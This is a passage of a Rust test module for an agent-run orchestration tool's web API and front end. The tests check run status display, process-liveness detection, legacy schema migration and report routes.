18492 "0123456789abcdef".to_owned(),
18493 "Add a web UI".to_owned(),
18494 Config::default(),
18495 );
18496 none_run.id = "20260902-140503-none".to_owned();
18497 none_run.status = RunStatus::Ready;
18498 none_run.merge = Some(crate::run::MergeOutcome {
18499 mode: crate::config::MergeMode::None,
18500 ok: true,
18501 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18502 empty: false,
18503 });
18504 write_state(&f.runs(), &none_run);
18505
18506 let mut pr_run = RunState::new(
18507 PathBuf::from("/repo/magi"),
18508 "main".to_owned(),
18509 "0123456789abcdef".to_owned(),
18510 "Add a web UI".to_owned(),
18511 Config::default(),
18512 );
18513 pr_run.id = "20260902-140504-prcl".to_owned();
18514 pr_run.status = RunStatus::Ready;
18515 pr_run.merge = Some(crate::run::MergeOutcome {
18516 mode: crate::config::MergeMode::Pr,
18517 ok: false,
18518 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18519 empty: false,
18520 });
18521 write_state(&f.runs(), &pr_run);
18522
18523 let summary = f.get("/api/runs").await.json();
18524 let rows: std::collections::HashMap<&str, &Value> = summary
18525 .as_array()
18526 .expect("an array")
18527 .iter()
18528 .map(|r| (r["id"].as_str().expect("an id"), r))
18529 .collect();
18530 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18531 assert_eq!(
18532 rows[none_run.id.as_str()]["unmerged_by_design"],
18533 true,
18534 "a mode-none Ready must be flagged in the list"
18535 );
18536 assert_eq!(
18537 rows[pr_run.id.as_str()]["unmerged_by_design"],
18538 false,
18539 "a Ready reached by a closed pull request is a different case"
18540 );
18541
18542 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18543 assert_eq!(none_detail["status"], "ready");
18544 assert_eq!(none_detail["unmerged_by_design"], true);
18545
18546 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18547 assert_eq!(pr_detail["unmerged_by_design"], false);
18548 }
18549
18550 #[tokio::test]
18555 async fn run_core_survives_unavailable_related_stores() {
18556 let home = TempDir::new().unwrap();
18557 let ui = delta_test_ui(home.path());
18558 let state = RunState::new(
18559 PathBuf::from("/repo/magi"),
18560 "main".into(),
18561 "0123456789abcdef".into(),
18562 "Useful core instructions".into(),
18563 Config::default(),
18564 );
18565 let dir = ui.runs.join(&state.id);
18566 std::fs::create_dir_all(&dir).unwrap();
18567 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18568 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18569 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18570 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18571 .await
18572 .unwrap()
18573 .0;
18574 assert_eq!(core.state.instruction, state.instruction);
18575 assert_eq!(core.state.updated_at, state.updated_at);
18576 assert!(core.task.is_none());
18577 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18578 }
18579
18580 #[tokio::test]
18581 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18582 let f = Fixture::start().await;
18583 let id = "20260902-140502-bbbb";
18587 let mut state = RunState::new(
18588 PathBuf::from("/repo/magi"),
18589 "main".to_owned(),
18590 "0123456789abcdef".to_owned(),
18591 "Add a web UI".to_owned(),
18592 Config::default(),
18593 );
18594 state.id = id.to_owned();
18595 state.status = RunStatus::Judging;
18596 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18597 let dir = f.runs().join(id);
18598 std::fs::create_dir_all(&dir).expect("run dir");
18599 std::fs::write(
18600 dir.join("run.json"),
18601 serde_json::to_string_pretty(&state).expect("serialize run"),
18602 )
18603 .expect("write run.json");
18604
18605 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18611 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18612 assert_eq!(cold["live"], "unknown", "{cold}");
18613
18614 write_daemon(f.home.path(), Timestamp::now());
18617 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18618 assert_eq!(warm["live"], "live", "{warm}");
18619 }
18620
18621 #[test]
18622 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18623 let home = tempfile::tempdir().expect("temp home");
18624 let runs = home.path().join("runs");
18625 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18626 let mut state = RunState::new(
18627 PathBuf::from("/repo/magi"),
18628 "main".to_owned(),
18629 "0123456789abcdef".to_owned(),
18630 "Generated review context, not authored task criteria".to_owned(),
18631 Config::default(),
18632 );
18633 state.origin = origin;
18634 state.status = RunStatus::Blocked;
18635 state.driver_exited = false;
18637 state.gate_ran = true;
18638 let expected = serde_json::to_value(&state).expect("serialize current state");
18639 let mut legacy = expected.clone();
18640 legacy["schema"] = serde_json::json!(13);
18641 legacy.as_object_mut().unwrap().remove("task_instruction");
18642 let dir = runs.join(&state.id);
18643 std::fs::create_dir_all(&dir).expect("run dir");
18644 let path = dir.join("run.json");
18645 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18646 std::fs::write(&path, &body).expect("write legacy run");
18647
18648 for loaded in [
18649 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18650 read_run(&runs, &state.id).expect("web migration"),
18651 ] {
18652 assert_eq!(loaded.schema, crate::run::SCHEMA);
18653 assert!(loaded.task_instruction.is_none());
18654 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18655 }
18656 assert_eq!(runs_unreadable(&runs), 0);
18657 assert_eq!(std::fs::read(&path).unwrap(), body);
18658 }
18659 }
18660
18661 #[tokio::test]
18664 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18665 let f = Fixture::start().await;
18666 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18667 let mut state = RunState::new(
18668 PathBuf::from("/repo/magi"),
18669 "main".to_owned(),
18670 "0123456789abcdef".to_owned(),
18671 "Add a web UI".to_owned(),
18672 Config::default(),
18673 );
18674 state.id = id.to_owned();
18675 state.origin = origin;
18676 let mut value = serde_json::to_value(&state).expect("serialize run");
18677 if let Some(schema) = schema {
18678 value["schema"] = serde_json::json!(schema);
18679 value.as_object_mut().unwrap().remove("origin");
18680 }
18681 let dir = f.runs().join(id);
18682 std::fs::create_dir_all(&dir).expect("run dir");
18683 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18684 };
18685 write(
18686 "20260930-092817-ec34",
18687 Some(crate::run::Origin::from_agent_env(
18688 Some(("4a7b".to_owned(), "chat".to_owned())),
18689 None,
18690 )),
18691 None,
18692 );
18693 write("20260930-092817-0ld1", None, Some(12));
18694
18695 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18696 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18697 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18698
18699 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18700 assert_eq!(
18701 old["origin_label"], "origin unknown (started before origins were recorded)",
18702 "{old}"
18703 );
18704 assert!(old["origin"].is_null(), "{old}");
18705
18706 let list = f.get("/api/runs").await.json();
18707 let labels: Vec<_> = list
18708 .as_array()
18709 .unwrap()
18710 .iter()
18711 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18712 .collect();
18713 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18714 }
18715
18716 #[tokio::test]
18723 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18724 let f = Fixture::start().await;
18725 let id = "20260922-090000-cccc";
18726 let mut state = RunState::new(
18727 PathBuf::from("/repo/magi"),
18728 "main".to_owned(),
18729 "0123456789abcdef".to_owned(),
18730 "Review only".to_owned(),
18731 Config::default(),
18732 );
18733 state.id = id.to_owned();
18734 state.status = RunStatus::Reviewing;
18735 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18736 state.driver_pid = Some(std::process::id());
18742 state.driver_started_at = Some(
18743 crate::proc::process_started_at(std::process::id())
18744 .expect("this test process's own start time must be queryable"),
18745 );
18746 let dir = f.runs().join(id);
18747 std::fs::create_dir_all(&dir).expect("run dir");
18748 std::fs::write(
18749 dir.join("run.json"),
18750 serde_json::to_string_pretty(&state).expect("serialize run"),
18751 )
18752 .expect("write run.json");
18753
18754 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18755 assert_eq!(detail["live"], "live", "{detail}");
18756 }
18757
18758 #[tokio::test]
18764 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18765 let f = Fixture::start().await;
18766 let id = "20260922-090100-dddd";
18767 let mut state = RunState::new(
18768 PathBuf::from("/repo/magi"),
18769 "main".to_owned(),
18770 "0123456789abcdef".to_owned(),
18771 "Review only".to_owned(),
18772 Config::default(),
18773 );
18774 state.id = id.to_owned();
18775 state.status = RunStatus::Reviewing;
18776 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18777 state.driver_pid = Some(std::process::id());
18782 state.driver_started_at = Some("1".to_owned());
18783 let dir = f.runs().join(id);
18784 std::fs::create_dir_all(&dir).expect("run dir");
18785 std::fs::write(
18786 dir.join("run.json"),
18787 serde_json::to_string_pretty(&state).expect("serialize run"),
18788 )
18789 .expect("write run.json");
18790
18791 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18792 assert_eq!(detail["live"], "dead", "{detail}");
18793 }
18794
18795 #[test]
18799 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18800 let mk = |id: &str, pid: Option<u32>| {
18801 let mut s = RunState::new(
18802 PathBuf::from("/repo/magi"),
18803 "main".to_owned(),
18804 "0123456789abcdef".to_owned(),
18805 "Add a web UI".to_owned(),
18806 Config::default(),
18807 );
18808 s.id = id.to_owned();
18809 s.driver_pid = pid;
18810 s.driver_started_at = Some("1790000000".to_owned());
18811 s
18812 };
18813 let states = vec![
18814 mk("20260902-140502-aaaa", Some(77)),
18815 mk("20260902-140502-bbbb", Some(77)),
18816 mk("20260902-140502-cccc", Some(77)),
18817 mk("20260902-140502-dddd", None),
18818 ];
18819 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18820 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18821 let sup: HashMap<String, String> = [(
18822 "20260902-140502-aaaa".to_owned(),
18823 "20260902-140502-cccc".to_owned(),
18824 )]
18825 .into();
18826
18827 let status_calls = std::cell::Cell::new(0);
18828 let identity_calls = std::cell::Cell::new(0);
18829 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18830 |_| {
18831 status_calls.set(status_calls.get() + 1);
18832 Some(true)
18833 },
18834 |_| {
18835 identity_calls.set(identity_calls.get() + 1);
18836 Some("1790000000".to_owned())
18837 },
18838 ));
18839 let rows = summarize(
18840 states,
18841 &open,
18842 &claimed,
18843 &sup,
18844 |p| probe.borrow_mut().status(p),
18845 |p| probe.borrow_mut().started_at(p),
18846 );
18847
18848 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18849 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18850 assert_eq!(rows.len(), 4);
18851 assert!(!rows[0].waiting && rows[1].waiting);
18852 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18853 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18854 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18855 assert_eq!(rows[1].superseded_by, None);
18856 }
18857
18858 #[test]
18859 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18860 let mut state = RunState::new(
18861 PathBuf::from("/repo/magi"),
18862 "main".to_owned(),
18863 "0123456789abcdef".to_owned(),
18864 "Review only".to_owned(),
18865 Config::default(),
18866 );
18867 state.id = "20260922-090200-dead".to_owned();
18868 state.status = RunStatus::Reviewing;
18869 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18870 .expect("serialize list row");
18871 assert_eq!(row["status"], "reviewing");
18872 assert_eq!(row["display_status"], "stale");
18873 assert_eq!(row["live"], "dead", "{row}");
18874 assert!(!row["done"].as_bool().unwrap());
18875 }
18876
18877 #[test]
18878 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18879 use crate::run::Liveness::{Dead, Live, Unknown};
18880 let mut state = RunState::new(
18881 PathBuf::from("/repo/magi"),
18882 "main".to_owned(),
18883 "abc".to_owned(),
18884 "Review only".to_owned(),
18885 Config::default(),
18886 );
18887 for (status, parked, node, waiting, live, expected) in [
18888 (
18889 RunStatus::Judging,
18890 true,
18891 "github-text",
18892 false,
18893 Dead,
18894 "parked",
18895 ),
18896 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18897 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18898 (
18899 RunStatus::Judging,
18900 true,
18901 "github-text",
18902 true,
18903 Dead,
18904 "waiting",
18905 ),
18906 (
18907 RunStatus::Judging,
18908 false,
18909 "github-text",
18910 true,
18911 Dead,
18912 "waiting",
18913 ),
18914 (
18915 RunStatus::Judging,
18916 false,
18917 "github-text",
18918 false,
18919 Dead,
18920 "stale",
18921 ),
18922 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18923 (RunStatus::Judging, true, "park", false, Live, "judging"),
18924 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18925 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18926 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18927 (
18928 RunStatus::Blocked,
18929 true,
18930 "github-text",
18931 true,
18932 Dead,
18933 "waiting",
18934 ),
18935 ] {
18936 state.status = status;
18937 state.parked = parked;
18938 state.events.clear();
18939 state.event(
18940 "park",
18941 "an earlier park does not determine the latest state",
18942 );
18943 state.event(node, "message is not used for classification");
18944 let summary = RunSummary::of(&state, waiting, live);
18945 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18946 assert_eq!(
18947 summary.display_status, expected,
18948 "{status:?}/{node}/{live:?}"
18949 );
18950 assert_eq!(detail.display_status, summary.display_status);
18951 assert_eq!(detail.waiting, summary.waiting);
18952 }
18953 state.status = RunStatus::Judging;
18954 state.parked = false;
18955 state.events.clear();
18956 assert_eq!(run_display_status(&state, false, Dead), "stale");
18957 }
18958
18959 #[test]
18960 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18961 use crate::run::Liveness::{Dead, Live, Unknown};
18962 let mut state = RunState::new(
18963 PathBuf::from("/repo/magi"),
18964 "main".to_owned(),
18965 "abc".to_owned(),
18966 "Badge".to_owned(),
18967 Config::default(),
18968 );
18969 for (status, waiting, live, superseded, expected) in [
18970 (RunStatus::Gating, false, Dead, false, "stale"),
18971 (RunStatus::Gating, false, Dead, true, "superseded"),
18972 (RunStatus::Gating, false, Unknown, true, "superseded"),
18973 (RunStatus::Gating, true, Dead, true, "superseded"),
18974 (RunStatus::Gating, true, Dead, false, "waiting"),
18975 (RunStatus::Gating, false, Unknown, false, "gating"),
18976 (RunStatus::Gating, false, Live, true, "gating"),
18977 (RunStatus::Gating, true, Live, true, "waiting"),
18978 (RunStatus::Merged, false, Dead, true, "merged"),
18979 (RunStatus::Blocked, false, Dead, true, "blocked"),
18980 ] {
18981 state.status = status;
18982 let display = run_display_status(&state, waiting, live);
18983 assert_eq!(
18984 run_badge_status(&state, &display, live, superseded),
18985 expected,
18986 "{status:?}/{live:?}/superseded={superseded}"
18987 );
18988 }
18989 }
18990
18991 #[test]
18992 fn summarize_and_detail_expose_badge_status() {
18993 use crate::run::Liveness::Dead;
18994 let mut state = RunState::new(
18995 PathBuf::from("/repo/magi"),
18996 "main".to_owned(),
18997 "abc".to_owned(),
18998 "Badge".to_owned(),
18999 Config::default(),
19000 );
19001 state.status = RunStatus::Gating;
19002 let none = HashSet::new();
19003 let id = state.id.clone();
19004 let mut by = HashMap::new();
19005 let rows = summarize(
19006 [state.clone()],
19007 &none,
19008 &none,
19009 &by,
19010 |_| Some(false),
19011 |_| None,
19012 );
19013 assert_eq!(rows[0].badge_status, rows[0].display_status);
19015 by.insert(id, "20260901-000000-913b".to_owned());
19016 let detail = RunDetailView::of(
19017 state.clone(),
19018 false,
19019 Dead,
19020 Some("913b".to_owned()),
19021 None,
19022 None,
19023 );
19024 assert_eq!(detail.badge_status, "superseded");
19025 let json = serde_json::to_value(&detail).unwrap();
19026 assert_eq!(json["badge_status"], "superseded");
19027 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19028 assert_eq!(detail.badge_status, "stale");
19029 }
19030
19031 #[tokio::test]
19032 async fn run_display_status_routes_share_the_open_question_store() {
19033 let f = Fixture::start().await;
19034 let id = "20260922-090200-abcd";
19035 write_run(&f.runs(), id, RunStatus::Judging);
19036 let mut state = read_run(&f.runs(), id).unwrap();
19037 state.parked = true;
19038 state.driver_exited = true;
19039 state.event("github-text", "waiting for the owner");
19040 state.save_under(f.home.path()).unwrap();
19041 let mut task = Task::new(
19042 "resumed task".to_owned(),
19043 "do it".to_owned(),
19044 PathBuf::from("/repo"),
19045 Source::Human,
19046 );
19047 task.runs = vec![id.to_owned(), id.to_owned()];
19048 f.queue().put(&mut task).unwrap();
19049 let store = f.questions();
19050 let mut q = Question::new(
19051 id.to_owned(),
19052 "github-text".to_owned(),
19053 "owner".to_owned(),
19054 "Approve the text?".to_owned(),
19055 String::new(),
19056 Vec::new(),
19057 );
19058 store.put(&mut q).unwrap();
19059 for expected in ["waiting", "parked"] {
19060 let list = f.get("/api/runs").await.json();
19061 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19062 assert_eq!(list[0]["display_status"], expected);
19063 assert_eq!(detail["display_status"], expected);
19064 assert_eq!(detail["waiting"], list[0]["waiting"]);
19065 assert_eq!(list[0]["badge_status"], expected);
19066 assert_eq!(detail["badge_status"], expected);
19067 assert!(list[0]["superseded_by"].is_null());
19068 assert!(detail["superseded_by"].is_null());
19069 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19070 let history = task_detail["history"].as_array().unwrap();
19071 assert_eq!(history.len(), 2);
19072 assert!(history[0]["badge"].is_null());
19073 assert_eq!(history[1]["badge"], expected);
19074 q.status = ask::QuestionStatus::Answered;
19075 store.put(&mut q).unwrap();
19076 }
19077 }
19078
19079 #[tokio::test]
19080 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19081 let f = Fixture::start().await;
19082 let id = "20260922-090200-abcd";
19083 write_run(&f.runs(), id, RunStatus::Judging);
19084 let mut state = read_run(&f.runs(), id).unwrap();
19085 state.parked = true;
19086 state.driver_exited = true;
19087 state.event("park", "stopped at a node boundary");
19088 state.save_under(f.home.path()).unwrap();
19089
19090 for expected in ["parked", "stale"] {
19091 let list = f.get("/api/runs").await.json();
19092 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19093 assert_eq!(list[0]["live"], "dead");
19094 assert_eq!(list[0]["display_status"], expected);
19095 assert_eq!(detail["display_status"], expected);
19096 state.parked = false;
19099 state.save_under(f.home.path()).unwrap();
19100 }
19101 }
19102
19103 #[tokio::test]
19104 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19105 let f = Fixture::start().await;
19106 for id in [
19107 "20260902-140501-aaaa",
19108 "20260902-140502-bbbb",
19109 "20260902-140503-cccc",
19110 ] {
19111 write_run(&f.runs(), id, RunStatus::Merged);
19112 }
19113
19114 let all = f.get("/api/runs").await.json();
19115 let capped = f.get("/api/runs?limit=2").await.json();
19116
19117 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19118 assert_eq!(all.as_array().map(Vec::len), Some(3));
19119 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19120 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19121 }
19122
19123 #[tokio::test]
19124 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19125 let f = Fixture::start().await;
19126 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19127
19128 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19129
19130 assert_eq!(res.status, 200);
19131 assert!(
19132 res.headers
19133 .contains("content-type: text/plain; charset=utf-8"),
19134 "a browser must render it, not download it: {}",
19135 res.headers
19136 );
19137 assert!(
19141 res.body.contains("20260902-140501-a1b2"),
19142 "the report is about the run that was asked for: {}",
19143 res.body
19144 );
19145 }
19146
19147 #[tokio::test]
19148 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19149 crate::run::pin_test_home();
19151 let f = Fixture::start().await;
19152 let id = "20260902-140501-a1b2";
19153 write_run(&f.runs(), id, RunStatus::Stalled);
19154 let path = f.runs().join(id).join("run.json");
19157 let mut v: serde_json::Value =
19158 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19159 v["tally"] = serde_json::json!({
19160 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19161 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19162 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19163 "met_quorum": false, "rankings": 1
19164 });
19165 v["reviews"] = serde_json::json!([{
19166 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19167 "e2e_deferred": true,
19168 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19169 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19170 ]}]
19171 }]);
19172 std::fs::write(&path, v.to_string()).unwrap();
19173 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19174 std::fs::write(
19175 f.runs().join("20260902-140502-dead").join("run.json"),
19176 "{not json",
19177 )
19178 .unwrap();
19179
19180 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19181
19182 assert_eq!(res.status, 200, "{}", res.body);
19183 assert!(res.headers.contains("content-type: application/json"));
19184 let j = res.json();
19185 assert_eq!(j["schema"], 1);
19186 assert_eq!(j["header"]["id"], id);
19187 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19188 let kinds: Vec<&str> = j["sections"]
19189 .as_array()
19190 .unwrap()
19191 .iter()
19192 .map(|s| s["kind"].as_str().unwrap())
19193 .collect();
19194 assert_eq!(kinds, ["candidates", "tally", "review"]);
19195 let tally = &j["sections"][1]["tally"];
19196 assert_eq!(
19197 (tally["decided"].clone(), tally["provisional"].clone()),
19198 (false.into(), true.into())
19199 );
19200 let round = &j["sections"][2]["rounds"][0];
19201 assert_eq!(round["e2e"]["state"], "deferred");
19202 assert_eq!(round["findings"][0]["severity"], "major");
19203 assert_eq!(round["findings"][0]["blocking"], true);
19204 assert_eq!(round["findings"][0]["state"], "open");
19205
19206 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19208
19209 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19211 assert_ne!(bad.status, 200, "{}", bad.body);
19212 assert_eq!(
19213 bad.status,
19214 f.get("/api/runs/20260902-140502-dead/report").await.status
19215 );
19216 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19217 assert_eq!(
19218 f.get("/api/runs/20260902-999999-ffff/report.json")
19219 .await
19220 .status,
19221 404
19222 );
19223 }
19224
19225 #[tokio::test]
19226 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19227 crate::run::pin_test_home();
19228 let f = Fixture::start().await;
19229 let id = "20260902-140503-delib";
19230 write_run(&f.runs(), id, RunStatus::Merged);
19231 let path = f.runs().join(id).join("run.json");
19232 let mut v: serde_json::Value =
19233 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19234 v["judgements"] = serde_json::json!([
19235 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19236 ]);
19237 v["tally"] = serde_json::json!({
19238 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19239 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19240 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19241 "met_quorum": true, "rankings": 1
19242 });
19243 v["deliberation"] = serde_json::json!([
19244 {
19245 "round": 1,
19246 "turns": [
19247 {
19248 "judge": 1,
19249 "agent": "judge-1",
19250 "body": "I prefer candidate **A** because it has cleaner tests.",
19251 "tentative": "A"
19252 }
19253 ]
19254 },
19255 {
19256 "round": 2,
19257 "turns": [
19258 {
19259 "judge": 1,
19260 "agent": "judge-1",
19261 "body": "Still thinking, no choice yet.",
19262 "tentative": null
19263 }
19264 ]
19265 }
19266 ]);
19267 std::fs::write(&path, v.to_string()).unwrap();
19268
19269 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19270 assert_eq!(res.status, 200, "{}", res.body);
19271 let j = res.json();
19272 let judging = j["sections"]
19273 .as_array()
19274 .unwrap()
19275 .iter()
19276 .find(|s| s["kind"] == "judging")
19277 .expect("judging section exists");
19278
19279 let delib_lines = judging["deliberation"].as_array().unwrap();
19281 assert_eq!(delib_lines.len(), 2);
19282 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19283 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19284
19285 let rounds = judging["rounds"].as_array().unwrap();
19287 assert_eq!(rounds.len(), 2);
19288 let r1_t0 = &rounds[0]["turns"][0];
19289 assert_eq!(r1_t0["judge"], 1);
19290 assert_eq!(r1_t0["agent"], "judge-1");
19291 assert_eq!(r1_t0["tentative"], "A");
19292 assert_eq!(
19293 r1_t0["body"],
19294 "I prefer candidate **A** because it has cleaner tests."
19295 );
19296 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19297
19298 let r2_t0 = &rounds[1]["turns"][0];
19299 assert_eq!(r2_t0["judge"], 1);
19300 assert_eq!(r2_t0["agent"], "judge-1");
19301 assert!(r2_t0["tentative"].is_null());
19302 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19303 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19304
19305 let id_empty = "20260902-140504-nodelib";
19307 write_run(&f.runs(), id_empty, RunStatus::Merged);
19308 let path_empty = f.runs().join(id_empty).join("run.json");
19309 let mut v_empty: serde_json::Value =
19310 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19311 v_empty["judgements"] = serde_json::json!([
19312 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19313 ]);
19314 v_empty["deliberation"] = serde_json::json!([]);
19315 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19316
19317 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19318 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19319 let j_empty = res_empty.json();
19320 let judging_empty = j_empty["sections"]
19321 .as_array()
19322 .unwrap()
19323 .iter()
19324 .find(|s| s["kind"] == "judging")
19325 .expect("judging section exists");
19326 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19327 }
19328
19329 #[tokio::test]
19330 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19331 let f = Fixture::start().await;
19332
19333 let html = f.get("/").await;
19334 let css = f.get("/app.css").await;
19335 let js = f.get("/app.js").await;
19336
19337 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19338 assert!(
19339 html.headers
19340 .contains("content-type: text/html; charset=utf-8")
19341 );
19342 assert!(css.headers.contains("content-type: text/css"));
19343 assert!(js.headers.contains("content-type: text/javascript"));
19344 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19345 }
19346
19347 #[test]
19348 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19349 let body = |name: &str| {
19350 let at = APP_JS
19351 .find(name)
19352 .unwrap_or_else(|| panic!("{name} missing"));
19353 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19354 };
19355 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19356 let note = body("function landRoundNote");
19357 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19358 assert!(note.contains("Land round ${round}"));
19359 let land = body("function renderLand");
19360 let note_at = land
19361 .find("landRoundNote(pr)")
19362 .expect("renderLand uses the note");
19363 assert!(
19364 note_at
19365 < land
19366 .find("roundRail(pr)")
19367 .expect("renderLand uses the rail")
19368 );
19369 }
19370
19371 #[test]
19372 fn the_runs_page_redesign_keeps_its_guards() {
19373 let body = |name: &str| {
19374 let at = APP_JS
19375 .find(name)
19376 .unwrap_or_else(|| panic!("{name} missing"));
19377 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19378 };
19379 let land = body("function renderLand");
19381 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19382 assert!(
19383 !land.contains("box.append("),
19384 "renderLand must use append()"
19385 );
19386 assert!(land.contains("append(box, ["));
19387 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19389 assert!(
19390 body("function applyRoute")
19391 .contains("route.name !== state.route.name || route.id !== state.route.id")
19392 );
19393 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19395 assert!(!INDEX_HTML.contains("advise-converge"));
19396 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19397 assert!(APP_JS.contains("provisional"));
19398 for id in [
19399 "run-tab-overview",
19400 "run-tab-timeline",
19401 "run-tab-report",
19402 "run-report",
19403 "runs-scope",
19404 ] {
19405 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19406 }
19407 assert!(!INDEX_HTML.contains("runs-tree"));
19408 assert!(!INDEX_HTML.contains("run-raw-panel"));
19409 assert!(APP_JS.contains("resume"));
19411 assert!(APP_JS.contains("unreadable"));
19413 }
19414
19415 #[test]
19416 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19417 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19418 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19419 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
